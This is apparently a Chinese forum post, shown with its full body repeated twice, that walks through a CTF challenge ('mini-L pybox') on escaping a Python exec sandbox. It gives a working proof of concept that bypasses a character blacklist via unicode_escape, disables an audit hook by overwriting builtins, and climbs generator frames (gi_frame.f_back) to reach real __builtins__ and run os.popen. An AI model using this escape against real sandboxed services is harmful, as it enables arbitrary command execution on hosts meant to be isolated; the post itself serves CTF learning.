利用Python生成器对象完成栈帧逃逸详解

2026-04-11 11:441阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐
问题描述:

栈帧逃逸

直接上个题目示例

2025 mini-L pybox

import multiprocessing import sys import io import ast class SandboxVisitor(ast.NodeVisitor): forbidden_attrs = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__" } def visit_Attribute(self, node): if isinstance(node.attr, str) and node.attr in self.forbidden_attrs: raise ValueError self.generic_visit(node) def visit_GeneratorExp(self, node): raise ValueError def sandbox_executor(code, result_queue): safe_builtins = { "print": print, "filter": filter, "list": list, "len": len, "addaudithook": sys.addaudithook, "Exception": Exception, } safe_globals = {"__builtins__": safe_builtins} sys.stdout = io.StringIO() sys.stderr = io.StringIO() try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() if error: result_queue.put(("err", error)) else: result_queue.put(("ok", output)) except Exception: import traceback result_queue.put(("err", traceback.format_exc())) def safe_exec(code: str, timeout=2): code = code.encode().decode('unicode_escape') try: tree = ast.parse(code) SandboxVisitor().visit(tree) except Exception as e: return f"Error: AST check failed ({e.__class__.__name__})" result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue)) p.start() p.join(timeout=timeout) if p.is_alive(): p.terminate() return "Timeout: code took too long to run." try: status, output = result_queue.get_nowait() print(output) return output if status == "ok" else f"Error exec: {output}" except: return "Error: no output from sandbox." CODE = ''' def my_audit_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(my_audit_checker) print("{}") ''' badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "") def evaluate_wish_text(text: str) -> str: for ch in badchars: if ch in text: print(f"ch={ch}") return f"Error:waf {ch}" out = safe_exec(CODE.format(text)) return out

知识补充:python中的生成器

使用了yield的函数被称为生成器

def running_averager(): """一个计算动态平均值的协程 (Coroutine)""" print("--- 平均值计算器已启动 ---") # 初始化状态变量 total = 0.0 count = 0 average = None while True: # 关键部分! # 1. 向调用方产出当前的 average 值 # 2. 暂停,等待调用方下一次 send() 一个值进来 # 3. term 会接收到 send() 进来的值 term = yield average # 如果接收到 None,则跳过此次计算 (通常用于启动) if term is None: continue # 用接收到的值更新状态 total += term count += 1 average = total / count

生成器并不是一个函数,使用括号执行时生成一个生成器对象:

def f_(): pass def f(): yield x = f() x_ = f_ print(type(x),type(x_)) # <class 'generator'> <class 'function'>

看看它和函数有哪些实例变量的差别,

需要注意的是,python中方法也属于一种属性

生成器对象的全部实例变量:

['__repr__', '__getattribute__', '__iter__', '__next__', '__del__', 'send', 'throw', 'close', '__sizeof__', 'gi_code', '__name__', '__qualname__', 'gi_yieldfrom', 'gi_running', 'gi_frame', 'gi_suspended', '__doc__', '__new__', '__hash__', '__str__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__init__', '__reduce_ex__', '__reduce__', '__getstate__', '__subclasshook__', '__init_subclass__', '__format__', '__dir__', '__class__']

普通函数的全部实例变量:

['__new__', '__repr__', '__call__', '__get__', '__closure__', '__doc__', '__globals__', '__module__', '__builtins__', '__code__', '__defaults__', '__kwdefaults__', '__annotations__', '__dict__', '__name__', '__qualname__', '__hash__', '__str__', '__getattribute__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__init__', '__reduce_ex__', '__reduce__', '__getstate__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']

它们共有的属性:

[ '__qualname__', # (Qualified Name) 对象的“完全限定名称”,包含了从模块顶层到该对象的路径。 '__setattr__', # (Set Attribute) 当试图通过赋值语句 (obj.x = 10) 设置属性时被调用。 '__subclasshook__', # 用于自定义 issubclass() 的行为。 '__eq__', # (Equal) 定义等于运算符 `==` 的行为。 '__ne__', # (Not Equal) 定义不等于运算符 `!=` 的行为。 '__dir__', # 定义 dir(obj) 函数的返回内容,即对象的属性列表。 '__init_subclass__', # 当该类被子类化时,在子类上调用的钩子。 '__init__', # (Initialize) 对象的构造器(初始化方法),在对象创建后被调用。 '__sizeof__', # 返回对象占用的内存大小(字节)。 '__le__', # (Less or Equal) 定义小于等于运算符 `<=` 的行为。 '__name__', # 对象的名称。对于函数,就是函数名。 '__ge__', # (Greater or Equal) 定义大于等于运算符 `>=` 的行为。 '__reduce__', # 在对象被 pickle 序列化时使用。 '__reduce_ex__', # 在对象被 pickle 序列化时使用 (扩展版)。 '__repr__', # (Representation) 定义 repr(obj) 的输出,目标是明确、无歧义。 '__getstate__', # 在 pickle 序列化时,用于指定应该被保存的状态。 '__class__', # 指向该实例所属的类。 '__doc__', # (Documentation String) 对象的文档字符串(docstring)。 '__gt__', # (Greater Than) 定义大于运算符 `>` 的行为。 '__str__', # (String) 定义 str(obj) 和 print(obj) 的输出,目标是可读性好。 '__delattr__', # (Delete Attribute) 当试图用 del obj.x 删除属性时被调用。 '__new__', # (New Instance) 在 __init__ 之前被调用,是真正创建实例的静态方法。 '__hash__', # 计算对象的哈希值,用于字典键或集合元素。 '__format__', # 定义格式化字符串的行为 (例如 `"{:0.2f}".format(obj)`)。 '__lt__', # (Less Than) 定义小于运算符 `<` 的行为。 '__getattribute__', # (Get Attribute) 无条件地拦截所有属性访问 (obj.x)。 ]

生成器有而普通函数没有的:

[ 'gi_code', # (Generator Code) 指向该生成器对应的代码对象 (compiled bytecode)。 '__del__', # (Delete/Destructor) 对象的析构函数,当对象被垃圾回收时调用。 'send', # [核心方法] 向生成器发送一个值,并从 yield 处恢复执行。 '__iter__', # 使生成器成为一个迭代器,返回它自身。 'close', # [核心方法] 关闭生成器,用于执行清理代码。 'gi_suspended', # (Generator Suspended) 布尔值,True 表示生成器当前在 yield 处暂停。 'throw', # [核心方法] 在生成器暂停的位置抛出一个指定的异常。 '__next__', # 使生成器成为一个迭代器,获取下一个 yield 的值。 'gi_running', # (Generator Running) 布尔值,True 表示生成器当前正在执行中。 'gi_frame', # (Generator Frame) 指向生成器当前的帧对象 (frame object),包含执行上下文。 'gi_yieldfrom', # (Generator Yield From) 如果在使用 yield from,则指向子生成器。 ]

普通函数有而生成器没有的:

[ '__code__', # 函数的代码对象,包含了编译后的字节码、常量、变量名等。 '__annotations__', # 一个字典,包含了函数参数和返回值的类型注解。 '__globals__', # 一个字典,引用了函数定义时所在模块的全局命名空间。 '__kwdefaults__', # 一个字典,包含仅限关键字参数 (keyword-only arguments) 的默认值。 '__module__', # 函数定义所在的模块名称 (字符串)。 '__builtins__', # 引用了函数执行时可以访问的内建函数模块 `__builtins__`。 '__closure__', # 一个元组,包含了函数的闭包 (closure) 信息。 '__call__', # 使函数对象成为可调用 (callable) 的。执行 func() 即调用此方法。 '__dict__', # 函数的属性字典,允许你给函数附加任意属性。 '__defaults__', # 一个元组,包含了函数位置参数 (positional arguments) 的默认值。 '__get__', # [描述符协议] 让函数在被实例调用时转变为方法,并自动传入 self。 ]

与直觉相悖的:生成器的”帧对象“中的“帧”并不是从 创建/send()/next() 开始,从yield结束。

实际上:在创建生成器对象时创建的,持久的、包含完整执行上下文的数据结构。它是生成器能够暂停和恢复的状态容器。

相当于生成器对象的存档文件

获取帧对象:

def f(): yield x = f() print(x.gi_frame)

这个frame的一些独特属性:

[ 'f_code', # 帧所关联的代码对象 (包含了字节码、常量等)。 'clear', # [方法] 清除帧中对局部变量的所有引用,用于打破循环引用,帮助垃圾回收。 'f_back', # 指向调用栈中的“上一个帧” (即调用者的帧)。 'f_locals', # 包含该帧的“局部变量”的字典。 'f_lasti', # (Last Instruction) 最后执行的字节码指令在 f_code 中的索引。 'f_lineno', # (Line Number) 代码在源文件中当前执行的“行号”。 'f_trace_opcodes', # 布尔值,如果为 True,则为每个操作码(opcode)都触发跟踪事件,用于精细调试。 'f_trace', # 调试或性能分析时设置的“跟踪函数”(trace function),可以为 None。 'f_builtins', # 帧执行时所引用的“内建命名空间”的字典。 'f_globals', # 帧执行时所引用的“全局命名空间”的字典 (通常是模块的命名空间)。 'f_trace_lines', # 布尔值,控制跟踪事件是否在行号改变时触发 (默认为 True)。 ]

python在每一次的函数调用执行时,都会自动创建一个新的帧对象

python的执行过程可以看做是一个“帧栈”,可以类比php反序列化中pop链,或者递归函数的知识

注意到这里f_back可以获取到上一个帧,也就是说如果不限制获取帧对象和获取上一帧。那么我们就可以利用栈帧拿到最外层的__builtins__,这就是栈帧逃逸

解题示例

回到我们最上面的题目,

首先过滤了大部分的常用符号:

badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")

但是之后解析AST前进行了一次unicode_escape解码:

code = code.encode().decode('unicode_escape')

那么实际上就可以通过将字符替换为Unicode编码的方式绕过,如_ 写为 \x5f

绕过字符限制后进入AST的分析

class SandboxVisitor(ast.NodeVisitor): forbidden_attrs = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__" } def visit_Attribute(self, node): if isinstance(node.attr, str) and node.attr in self.forbidden_attrs: raise ValueError self.generic_visit(node) def visit_GeneratorExp(self, node): raise ValueError

可以看到只重写了visit_Attribute方法,也就是说基于.访问的写法,例如sys.__builtins会被拦截

但是没有拦截下标访问以及标识符

除了外部限制之外,还有内部对事件的限制

def my_audit_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(my_audit_checker) print("{}")

我们先闭合print来实现任意代码执行

") print(0) ("

然后通过修改内部__builtins__解除内部限制:

if not list(filter(lambda x: event == x, allowed_events)): raise Exception

解法:

__builtins__['list'] = lambda x: True __builtins__['len'] = lambda x: 0

再利用生成器获取帧对象,然后一直获取上方的帧即可还原出外部的builtins。

当前x.gi_frame为生成器f()的栈帧,

第一层x.gi_frame.f_back为通过exec(code, safe_globals)创建的主程序的栈帧,

第二层x.gi_frame.f_back.f_back为调用execsandbox_executor函数的栈帧,这里已经逃出沙箱环境了,

第三层x.gi_frame.f_back.f_back.f_back到了这一句:

multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))

里面的底层函数的栈帧。

取用__builtins__完成命令执行

def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_back.f_globals yield x = f() x.send(None) print(frame['__builtins__']['__import__']('os').popen('calc').read())

完整poc:

BADCHARS = "\"'|&`+-*/()[]{}_." CHARS_TO_ESCAPE = set(BADCHARS) def get_multiline_input(): lines = [] while True: try: line = input() if line.strip().lower() == 'eof': break lines.append(line) except EOFError: break return "\n".join(lines) def encode_payload(payload: str) -> str: encoded_parts = [] for char in payload: if char in CHARS_TO_ESCAPE: encoded_parts.append(f'\\x{ord(char):02x}') else: encoded_parts.append(char) return "".join(encoded_parts) code = """ __builtins__['list'] = lambda x: True __builtins__['len'] = lambda x: 0 def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_back.f_globals yield x = f() x.send(None) print(frame['__builtins__']['__import__']('os').popen('calc').read()) """ if __name__ == "__main__": original_payload = "\")\n"+ code +"\n(\"" encoded = encode_payload(original_payload) print(encoded) 网友解答:


--【壹】--:

没看懂耶


--【贰】--:

感谢分享

标签:网络安全
问题描述:

栈帧逃逸

直接上个题目示例

2025 mini-L pybox

import multiprocessing import sys import io import ast class SandboxVisitor(ast.NodeVisitor): forbidden_attrs = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__" } def visit_Attribute(self, node): if isinstance(node.attr, str) and node.attr in self.forbidden_attrs: raise ValueError self.generic_visit(node) def visit_GeneratorExp(self, node): raise ValueError def sandbox_executor(code, result_queue): safe_builtins = { "print": print, "filter": filter, "list": list, "len": len, "addaudithook": sys.addaudithook, "Exception": Exception, } safe_globals = {"__builtins__": safe_builtins} sys.stdout = io.StringIO() sys.stderr = io.StringIO() try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() if error: result_queue.put(("err", error)) else: result_queue.put(("ok", output)) except Exception: import traceback result_queue.put(("err", traceback.format_exc())) def safe_exec(code: str, timeout=2): code = code.encode().decode('unicode_escape') try: tree = ast.parse(code) SandboxVisitor().visit(tree) except Exception as e: return f"Error: AST check failed ({e.__class__.__name__})" result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue)) p.start() p.join(timeout=timeout) if p.is_alive(): p.terminate() return "Timeout: code took too long to run." try: status, output = result_queue.get_nowait() print(output) return output if status == "ok" else f"Error exec: {output}" except: return "Error: no output from sandbox." CODE = ''' def my_audit_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(my_audit_checker) print("{}") ''' badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "") def evaluate_wish_text(text: str) -> str: for ch in badchars: if ch in text: print(f"ch={ch}") return f"Error:waf {ch}" out = safe_exec(CODE.format(text)) return out

知识补充:python中的生成器

使用了yield的函数被称为生成器

def running_averager(): """一个计算动态平均值的协程 (Coroutine)""" print("--- 平均值计算器已启动 ---") # 初始化状态变量 total = 0.0 count = 0 average = None while True: # 关键部分! # 1. 向调用方产出当前的 average 值 # 2. 暂停,等待调用方下一次 send() 一个值进来 # 3. term 会接收到 send() 进来的值 term = yield average # 如果接收到 None,则跳过此次计算 (通常用于启动) if term is None: continue # 用接收到的值更新状态 total += term count += 1 average = total / count

生成器并不是一个函数,使用括号执行时生成一个生成器对象:

def f_(): pass def f(): yield x = f() x_ = f_ print(type(x),type(x_)) # <class 'generator'> <class 'function'>

看看它和函数有哪些实例变量的差别,

需要注意的是,python中方法也属于一种属性

生成器对象的全部实例变量:

['__repr__', '__getattribute__', '__iter__', '__next__', '__del__', 'send', 'throw', 'close', '__sizeof__', 'gi_code', '__name__', '__qualname__', 'gi_yieldfrom', 'gi_running', 'gi_frame', 'gi_suspended', '__doc__', '__new__', '__hash__', '__str__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__init__', '__reduce_ex__', '__reduce__', '__getstate__', '__subclasshook__', '__init_subclass__', '__format__', '__dir__', '__class__']

普通函数的全部实例变量:

['__new__', '__repr__', '__call__', '__get__', '__closure__', '__doc__', '__globals__', '__module__', '__builtins__', '__code__', '__defaults__', '__kwdefaults__', '__annotations__', '__dict__', '__name__', '__qualname__', '__hash__', '__str__', '__getattribute__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__init__', '__reduce_ex__', '__reduce__', '__getstate__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']

它们共有的属性:

[ '__qualname__', # (Qualified Name) 对象的“完全限定名称”,包含了从模块顶层到该对象的路径。 '__setattr__', # (Set Attribute) 当试图通过赋值语句 (obj.x = 10) 设置属性时被调用。 '__subclasshook__', # 用于自定义 issubclass() 的行为。 '__eq__', # (Equal) 定义等于运算符 `==` 的行为。 '__ne__', # (Not Equal) 定义不等于运算符 `!=` 的行为。 '__dir__', # 定义 dir(obj) 函数的返回内容,即对象的属性列表。 '__init_subclass__', # 当该类被子类化时,在子类上调用的钩子。 '__init__', # (Initialize) 对象的构造器(初始化方法),在对象创建后被调用。 '__sizeof__', # 返回对象占用的内存大小(字节)。 '__le__', # (Less or Equal) 定义小于等于运算符 `<=` 的行为。 '__name__', # 对象的名称。对于函数,就是函数名。 '__ge__', # (Greater or Equal) 定义大于等于运算符 `>=` 的行为。 '__reduce__', # 在对象被 pickle 序列化时使用。 '__reduce_ex__', # 在对象被 pickle 序列化时使用 (扩展版)。 '__repr__', # (Representation) 定义 repr(obj) 的输出,目标是明确、无歧义。 '__getstate__', # 在 pickle 序列化时,用于指定应该被保存的状态。 '__class__', # 指向该实例所属的类。 '__doc__', # (Documentation String) 对象的文档字符串(docstring)。 '__gt__', # (Greater Than) 定义大于运算符 `>` 的行为。 '__str__', # (String) 定义 str(obj) 和 print(obj) 的输出,目标是可读性好。 '__delattr__', # (Delete Attribute) 当试图用 del obj.x 删除属性时被调用。 '__new__', # (New Instance) 在 __init__ 之前被调用,是真正创建实例的静态方法。 '__hash__', # 计算对象的哈希值,用于字典键或集合元素。 '__format__', # 定义格式化字符串的行为 (例如 `"{:0.2f}".format(obj)`)。 '__lt__', # (Less Than) 定义小于运算符 `<` 的行为。 '__getattribute__', # (Get Attribute) 无条件地拦截所有属性访问 (obj.x)。 ]

生成器有而普通函数没有的:

[ 'gi_code', # (Generator Code) 指向该生成器对应的代码对象 (compiled bytecode)。 '__del__', # (Delete/Destructor) 对象的析构函数,当对象被垃圾回收时调用。 'send', # [核心方法] 向生成器发送一个值,并从 yield 处恢复执行。 '__iter__', # 使生成器成为一个迭代器,返回它自身。 'close', # [核心方法] 关闭生成器,用于执行清理代码。 'gi_suspended', # (Generator Suspended) 布尔值,True 表示生成器当前在 yield 处暂停。 'throw', # [核心方法] 在生成器暂停的位置抛出一个指定的异常。 '__next__', # 使生成器成为一个迭代器,获取下一个 yield 的值。 'gi_running', # (Generator Running) 布尔值,True 表示生成器当前正在执行中。 'gi_frame', # (Generator Frame) 指向生成器当前的帧对象 (frame object),包含执行上下文。 'gi_yieldfrom', # (Generator Yield From) 如果在使用 yield from,则指向子生成器。 ]

普通函数有而生成器没有的:

[ '__code__', # 函数的代码对象,包含了编译后的字节码、常量、变量名等。 '__annotations__', # 一个字典,包含了函数参数和返回值的类型注解。 '__globals__', # 一个字典,引用了函数定义时所在模块的全局命名空间。 '__kwdefaults__', # 一个字典,包含仅限关键字参数 (keyword-only arguments) 的默认值。 '__module__', # 函数定义所在的模块名称 (字符串)。 '__builtins__', # 引用了函数执行时可以访问的内建函数模块 `__builtins__`。 '__closure__', # 一个元组,包含了函数的闭包 (closure) 信息。 '__call__', # 使函数对象成为可调用 (callable) 的。执行 func() 即调用此方法。 '__dict__', # 函数的属性字典,允许你给函数附加任意属性。 '__defaults__', # 一个元组,包含了函数位置参数 (positional arguments) 的默认值。 '__get__', # [描述符协议] 让函数在被实例调用时转变为方法,并自动传入 self。 ]

与直觉相悖的:生成器的”帧对象“中的“帧”并不是从 创建/send()/next() 开始,从yield结束。

实际上:在创建生成器对象时创建的,持久的、包含完整执行上下文的数据结构。它是生成器能够暂停和恢复的状态容器。

相当于生成器对象的存档文件

获取帧对象:

def f(): yield x = f() print(x.gi_frame)

这个frame的一些独特属性:

[ 'f_code', # 帧所关联的代码对象 (包含了字节码、常量等)。 'clear', # [方法] 清除帧中对局部变量的所有引用,用于打破循环引用,帮助垃圾回收。 'f_back', # 指向调用栈中的“上一个帧” (即调用者的帧)。 'f_locals', # 包含该帧的“局部变量”的字典。 'f_lasti', # (Last Instruction) 最后执行的字节码指令在 f_code 中的索引。 'f_lineno', # (Line Number) 代码在源文件中当前执行的“行号”。 'f_trace_opcodes', # 布尔值,如果为 True,则为每个操作码(opcode)都触发跟踪事件,用于精细调试。 'f_trace', # 调试或性能分析时设置的“跟踪函数”(trace function),可以为 None。 'f_builtins', # 帧执行时所引用的“内建命名空间”的字典。 'f_globals', # 帧执行时所引用的“全局命名空间”的字典 (通常是模块的命名空间)。 'f_trace_lines', # 布尔值,控制跟踪事件是否在行号改变时触发 (默认为 True)。 ]

python在每一次的函数调用执行时,都会自动创建一个新的帧对象

python的执行过程可以看做是一个“帧栈”,可以类比php反序列化中pop链,或者递归函数的知识

注意到这里f_back可以获取到上一个帧,也就是说如果不限制获取帧对象和获取上一帧。那么我们就可以利用栈帧拿到最外层的__builtins__,这就是栈帧逃逸

解题示例

回到我们最上面的题目,

首先过滤了大部分的常用符号:

badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")

但是之后解析AST前进行了一次unicode_escape解码:

code = code.encode().decode('unicode_escape')

那么实际上就可以通过将字符替换为Unicode编码的方式绕过,如_ 写为 \x5f

绕过字符限制后进入AST的分析

class SandboxVisitor(ast.NodeVisitor): forbidden_attrs = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__", "__base__" } def visit_Attribute(self, node): if isinstance(node.attr, str) and node.attr in self.forbidden_attrs: raise ValueError self.generic_visit(node) def visit_GeneratorExp(self, node): raise ValueError

可以看到只重写了visit_Attribute方法,也就是说基于.访问的写法,例如sys.__builtins会被拦截

但是没有拦截下标访问以及标识符

除了外部限制之外,还有内部对事件的限制

def my_audit_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(my_audit_checker) print("{}")

我们先闭合print来实现任意代码执行

") print(0) ("

然后通过修改内部__builtins__解除内部限制:

if not list(filter(lambda x: event == x, allowed_events)): raise Exception

解法:

__builtins__['list'] = lambda x: True __builtins__['len'] = lambda x: 0

再利用生成器获取帧对象,然后一直获取上方的帧即可还原出外部的builtins。

当前x.gi_frame为生成器f()的栈帧,

第一层x.gi_frame.f_back为通过exec(code, safe_globals)创建的主程序的栈帧,

第二层x.gi_frame.f_back.f_back为调用execsandbox_executor函数的栈帧,这里已经逃出沙箱环境了,

第三层x.gi_frame.f_back.f_back.f_back到了这一句:

multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))

里面的底层函数的栈帧。

取用__builtins__完成命令执行

def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_back.f_globals yield x = f() x.send(None) print(frame['__builtins__']['__import__']('os').popen('calc').read())

完整poc:

BADCHARS = "\"'|&`+-*/()[]{}_." CHARS_TO_ESCAPE = set(BADCHARS) def get_multiline_input(): lines = [] while True: try: line = input() if line.strip().lower() == 'eof': break lines.append(line) except EOFError: break return "\n".join(lines) def encode_payload(payload: str) -> str: encoded_parts = [] for char in payload: if char in CHARS_TO_ESCAPE: encoded_parts.append(f'\\x{ord(char):02x}') else: encoded_parts.append(char) return "".join(encoded_parts) code = """ __builtins__['list'] = lambda x: True __builtins__['len'] = lambda x: 0 def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_back.f_globals yield x = f() x.send(None) print(frame['__builtins__']['__import__']('os').popen('calc').read()) """ if __name__ == "__main__": original_payload = "\")\n"+ code +"\n(\"" encoded = encode_payload(original_payload) print(encoded) 网友解答:


--【壹】--:

没看懂耶


--【贰】--:

感谢分享

标签:网络安全